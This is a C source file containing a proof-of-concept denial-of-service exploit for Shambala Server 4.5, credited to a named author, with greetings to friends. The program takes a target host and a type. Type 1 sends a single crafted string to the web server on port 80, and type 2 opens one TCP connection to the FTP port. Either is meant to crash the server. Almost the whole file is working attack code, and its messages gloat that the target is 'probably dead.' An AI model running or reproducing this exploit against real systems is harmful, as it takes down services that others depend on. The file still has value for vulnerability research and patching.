/******** shambalax.c ***********************************************************
*                                                       			*
* PoC exploit for the DoS in Shambala Server 4.5        			*
* as described in Telhack 026 Inc. S.A. #3 (BID:4897).  			*
* I have also built in a function that exploits another 			*
* DoS condition found by zillion a long long time ago.  			*
* Also refined my DoS a little bit by just using one                            *
* char that mess up Shambala.                                                   *
*                                                       			*
* By: Daniel Nyström (excE) <exce@netwinder.nu>         			*
*                                                       			*
*                                                       			*
* Notes:                                                                        *
* I found that zillion had only been almost right, it                           * 
* is not opening a lot of TCP connection that generates                         *
* the DoS that he found, it is just one TCP connection,                         *
* but it certainly has to do with bad connection handling                       *
* by Shambala.                                                                  *
*                                                                               *
*                                                                               *
*                                                                               *
* Credits:                                                                      *
* Zillion <zillion@safemode.org> - for discovering the FTP DoS                  *
*                                                       			*
* Greetz:                                                                       *
* Xenogen <*****@**********.***> - for promising to report any segfaults :)     *
* X-Rewt  <*****@**********.***> - Cuz he's in my school :P                     *
* Telhack 026 Inc. crew - STOP phreaking, START doing something more fun :))    *
*                                                                               *
*********************************************************** shambalax.c ********/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>


int main(int argc, char *argv[])
{
	int sockfd;
	int port;
	int numbytes;
	
	struct sockaddr_in target;
	struct hostent *he;

	if (argc != 3)
	{
		fprintf(stderr, "\n-- Shambala Server 4.5 DoS exploit --\n");
		fprintf(stderr, "\nUsage: %s <target> <type>", argv[0]);
		fprintf(stderr, "\nTypes:");
		fprintf(stderr, "\n1  -  HTTPD DoS");
		fprintf(stderr, "\n2  -  FTP DoS\n\n");
		exit(1);
	}
	
	printf("\n-- Shambala Server 4.5 DoS exploit --\n\n");
	printf("-> Starting...\n");	
	printf("->\n");

	if ((he=gethostbyname(argv[1])) == NULL)
	{
		herror("gethostbyname");
		exit(1);
	}

	if ((sockfd=socket(AF_INET, SOCK_STREAM,0)) == -1)
	{
		perror("socket");
		exit(1);
	}

	/* HTTPD DoS */
	if(argv[2][0] == '1')
	{
		port = 80;
		target.sin_family = AF_INET;
		target.sin_port = htons(port);
		target.sin_addr = *((struct in_addr *)he->h_addr);
		bzero(&(target.sin_zero), 8);
		printf("-> Connecting to %s:80...\n", inet_ntoa(target.sin_addr));
		printf("->\n");
		if (connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr)) == -1)
		{
			perror("connect");
			exit(1);
		}
		printf("-> Sending httpd exploit string!! M4y th3 3v1L Shambala d13!!! :)\n");	
		printf("->\n");
		if(send(sockfd, "!\r\n", 3, 0) == -1)
		{
			perror("send");
			exit(1);
		}	
		close(sockfd);
	}
	else
	
	/* FTPD DoS */
	if(argv[2][0] == '2')
	{
                port = 21;
                target.sin_family = AF_INET;
                target.sin_port = htons(port);
                target.sin_addr = *((struct in_addr *)he->h_addr);
                bzero(&(target.sin_zero), 8);
                printf("-> Making a TCP connection (!which crashes server!) to %s:21...\n", inet_ntoa(target.sin_addr));
                printf("->\n");
                if (connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr)) == -1)
                {
                        perror("connect");
                        exit(1);
                }
                close(sockfd);
	}
	else
	{
		fprintf(stderr, "\n\nError: Bad type definition (use 1 or 2 for <type>).\n\n");
		exit(1);		
	}

	printf("-> Exploit finished nicely. %s's Shambala is probably dead by now.\n\n", argv[1]);

}

/* EOF - Shambala Server 4.5 DoS exploit     */
/* Daniel Nyström (excE) <exce@netwinder.nu> */